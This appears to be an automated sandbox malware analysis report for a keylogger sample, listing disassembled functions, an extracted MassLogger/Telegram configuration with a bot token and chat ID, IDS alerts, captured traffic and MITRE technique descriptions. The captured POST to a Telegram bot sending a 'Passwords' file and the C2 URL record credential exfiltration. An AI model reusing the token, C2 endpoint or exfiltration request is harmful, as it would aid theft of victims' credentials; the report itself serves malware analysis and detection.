Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 22b39f3b03d5c5aafeb49ae82fcc8e43efc7e6e3dde95ad46db83c6b18003dad
Instruction ID: dc3ac3664fe950f70cf27939d474ad9cb1f581f8a42500871c1b39521b99b32f
Opcode Fuzzy Hash: 22b39f3b03d5c5aafeb49ae82fcc8e43efc7e6e3dde95ad46db83c6b18003dad
Instruction Fuzzy Hash: DD116075301209AFEF19DF54DC81EEB376AEB483A8F114539F914972D0D7729C9187A0

Function 00116C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00091D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00091D73
Part of subcall function 00091D35: GetStockObject.GDI32(00000011), ref: 00091D87
Part of subcall function 00091D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00091D91

GetWindowRect.USER32(00000000,?), ref: 00116C71
GetSysColor.USER32(00000012), ref: 00116C8B

Strings

static, xrefs: 00116C4E

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 3e3c65e55b2c9eaab207678d701687b4ee859f69b75f6be2f445ec862d3cc7b2
Instruction ID: 6419cb2afda385d9750511d15a93be99d73fb1277516e0138eb854321722cd60
Opcode Fuzzy Hash: 3e3c65e55b2c9eaab207678d701687b4ee859f69b75f6be2f445ec862d3cc7b2
Instruction Fuzzy Hash: 54212972610209AFDF08DFA8CC45AFA7BA9FB08314F004629F995D2250E735E891DB60

Function 00116920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 001169A2
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 001169B1

Strings

edit, xrefs: 00116986

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 20f25919bd86620254ecb0d3870162a8e1a452a08d065c85e55338aa43f96d45
Instruction ID: cf3529e2441b556fed5223167a236c0bb38b6c1e6faa48219589e528c0527999
Opcode Fuzzy Hash: 20f25919bd86620254ecb0d3870162a8e1a452a08d065c85e55338aa43f96d45
Instruction Fuzzy Hash: AD113A71500208AFEF188E749C45AEB36AAEB053B8F514728F9A5971E0C776DCD1AB60

Function 000F29AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000F2A22
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 000F2A41

Strings

0, xrefs: 000F2A18

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: f6d652a24a3f9e09a94d0fe966f90b5dea5e6b7548e13f698ef68387e81f3e7e
Instruction ID: d0118cab0f4dafafc749319f2300f81d31a1a6d3fbb8611bad28fcfde4e007f7
Opcode Fuzzy Hash: f6d652a24a3f9e09a94d0fe966f90b5dea5e6b7548e13f698ef68387e81f3e7e
Instruction Fuzzy Hash: 6D11D03291121CEBCB70DA98D845BFE77F9AB45300F084021EA55EB690D770AD0AE792

Function 001021D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0010222C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00102255

Strings

<local>, xrefs: 0010221D

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 3a33c041b0999cded55ecabedec53066b4a560008f9a3263c438dce5e398b4d4
Instruction ID: 7e8d7d3ac51f0ae3aba1b486a421114c3b0ca2f4896ec8015a63808bb411096d
Opcode Fuzzy Hash: 3a33c041b0999cded55ecabedec53066b4a560008f9a3263c438dce5e398b4d4
Instruction Fuzzy Hash: B1110E70501225BADB288F918C8CEFBFBACFF16751F10822AF98586080D3B05895D6F0

Function 000E8E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

Part of subcall function 000EAA99: GetClassNameW.USER32(?,?,000000FF), ref: 000EAABC

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 000E8E73

Strings

ListBox, xrefs: 000E8E3D
ComboBox, xrefs: 000E8E12

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 24254c4a9b831289d48208ec97fc0c632d2b1034c29f8598fac246d6fb64f90d
Instruction ID: c69de8c95befa85bd83d16881ad5a5ee722ba8bc9874e3fe634415c5ba236d30
Opcode Fuzzy Hash: 24254c4a9b831289d48208ec97fc0c632d2b1034c29f8598fac246d6fb64f90d
Instruction Fuzzy Hash: B701F1B1701219AFDF29EBA1CC519FE7368AF06320B044A19B829673E2EF315808D750

Function 000E8CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

Part of subcall function 000EAA99: GetClassNameW.USER32(?,?,000000FF), ref: 000EAABC

SendMessageW.USER32(?,00000180,00000000,?), ref: 000E8D6B

Strings

ListBox, xrefs: 000E8D35
ComboBox, xrefs: 000E8D0A

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 35eeec5df5b1e641e4d8978ad74bd006d00870cb2301ea791b47068da7fef78c
Instruction ID: 75acb4cf540f01392381cafb0226d4ed84b3bdd3eecaf419f99650c31073b258
Opcode Fuzzy Hash: 35eeec5df5b1e641e4d8978ad74bd006d00870cb2301ea791b47068da7fef78c
Instruction Fuzzy Hash: 1101B171B45109ABDF25EBA1CD52AFE73A89F15300F144029B809772E2DF115A08E362

Function 000E8D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

Part of subcall function 000EAA99: GetClassNameW.USER32(?,?,000000FF), ref: 000EAABC

SendMessageW.USER32(?,00000182,?,00000000), ref: 000E8DEE

Strings

ListBox, xrefs: 000E8DBA
ComboBox, xrefs: 000E8D8F

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 5e54d60486684b5026fe503671bcffd43c21a05348f03fef3c3c8825e1d82e41
Instruction ID: b999a72c96a614dc020375cfa464a749696048881a68e4792368196ab747ddfd
Opcode Fuzzy Hash: 5e54d60486684b5026fe503671bcffd43c21a05348f03fef3c3c8825e1d82e41
Instruction Fuzzy Hash: D501F2B1B45209ABDF21EAA5CD42AFF73A88F15300F144025B80AB72D2DF215E08E372

Function 000F4F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 000F4F46
_wcscmp.LIBCMT ref: 000F4F58

Strings

#32770, xrefs: 000F4F52

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: c029990999c9cd8d6b4d97b622380797ecc10b481e70d062d88ec79a9ea96e6b
Instruction ID: 51a23dede908cce072782f85f3e18aa74cec50199590f7ded1bc04961ebf02ce
Opcode Fuzzy Hash: c029990999c9cd8d6b4d97b622380797ecc10b481e70d062d88ec79a9ea96e6b
Instruction Fuzzy Hash: A2E092326002286AD7209A99AC49AE7F7ECEB45B61F01016AFD04D7551EA609A8687E0

Function 000CB2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 000CB314: _memset.LIBCMT ref: 000CB321

Part of subcall function 000B0940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,000CB2F0,?,?,?,0009100A), ref: 000B0945

IsDebuggerPresent.KERNEL32(?,?,?,0009100A), ref: 000CB2F4
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0009100A), ref: 000CB303

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 000CB2FE

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: f85c5f989941b70956235c651f243da0c23920125ac1adb7cb3dc74cd461b18e
Instruction ID: cbb904ffea86c5f8131f786a3c3f3990d369bd42dbb519d83a03c8d565d205ba
Opcode Fuzzy Hash: f85c5f989941b70956235c651f243da0c23920125ac1adb7cb3dc74cd461b18e
Instruction Fuzzy Hash: 5DE0ED702007518FD764EF28E50578A7AE8AF04714F00897DE456C7751EBB5E545CBA1

Function 000E7C74 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 000E7C82

Part of subcall function 000B3358: _doexit.LIBCMT ref: 000B3362

Strings

Error allocating memory., xrefs: 000E7C7B
AutoIt, xrefs: 000E7C76

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 82f9658c0931867e0acf9b2e8d376ab000f0b9617ca38f0e399cdc01f20b7558
Instruction ID: 3e0526051554137525d34b3500ad0b7eb8803dbd4da5db5873b8151efa04747b
Opcode Fuzzy Hash: 82f9658c0931867e0acf9b2e8d376ab000f0b9617ca38f0e399cdc01f20b7558
Instruction Fuzzy Hash: 51D02B323C831C36D11432A5AC07FCB358C4F15F52F100015FB08594D34AD1859141E4

Function 000D1935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 000D1775

Part of subcall function 0010BFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,000D195E,?), ref: 0010BFFE
Part of subcall function 0010BFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0010C010

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 000D196D

Strings

WIN_XPe, xrefs: 000D1788

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 34a7c3b5492a23e83a502b347d3807785f5583ccac1b6861324652392d79ac95
Instruction ID: fc8a560fdef33a3cc7418a975bf56a649d212037dd4b64dfb4fe15d630fbe6cc
Opcode Fuzzy Hash: 34a7c3b5492a23e83a502b347d3807785f5583ccac1b6861324652392d79ac95
Instruction Fuzzy Hash: 5DF0ED70808209EFDB69DB91CA88AECBBF8BB18301F540096E102A75A1DB714F85DF70

Function 00115964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0011596E
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00115981

Part of subcall function 000F5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 000F52BC

Strings

Shell_TrayWnd, xrefs: 00115967

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 65b9250d60f83984cdd74c1821d33e681301e0761d214078e8175c07759b1bd5
Instruction ID: 39f00f889dfc5321dffc5cf31060ac913b3451102e28085f91caa17137774d05
Opcode Fuzzy Hash: 65b9250d60f83984cdd74c1821d33e681301e0761d214078e8175c07759b1bd5
Instruction Fuzzy Hash: E2D01231784711BBE6A8BF709D0FFE76A15BF00B51F004839B34DAE5E2D9E09841C654

Function 00115998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 001159AE
PostMessageW.USER32(00000000), ref: 001159B5

Part of subcall function 000F5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 000F52BC

Strings

Shell_TrayWnd, xrefs: 001159A7

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 6c4f56787b5f1d2d98a72b656a20f5eb528226eac8f51de1da10b2245faf94b8
Instruction ID: e1f1ff6a767b8c6e7ced28ba06f109a3425e26bf0022400deb8012573b4e8fd9
Opcode Fuzzy Hash: 6c4f56787b5f1d2d98a72b656a20f5eb528226eac8f51de1da10b2245faf94b8
Instruction Fuzzy Hash: 9BD012317C07117BE6A8BF709D0FFD76615BB05B51F004839B349EE5E2D9E0A841C654

Source: 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM", "Telegram Chatid": "7455776561"}
Source: RegSvcs.exe.7280.5.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendMessage"}

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49732 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49732 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455776561&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd319eaa996ebcHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053EE410h	5_2_053EE168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053EC34Dh	5_2_053EC010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053E0A1Ah	5_2_053E05F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053EE868h	5_2_053EE5C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053ED708h	5_2_053ED460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053EBA09h	5_2_053EB760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053E0A1Ah	5_2_053E0600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053E02F1h	5_2_053E0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053EB5B1h	5_2_053EB308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053EDFB8h	5_2_053EDD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053EB159h	5_2_053EAEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053E0A1Ah	5_2_053E0947
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053EDB60h	5_2_053ED8B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053EBE61h	5_2_053EBBB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053EECC0h	5_2_053EEA18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 053EAD01h	5_2_053EAA58

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
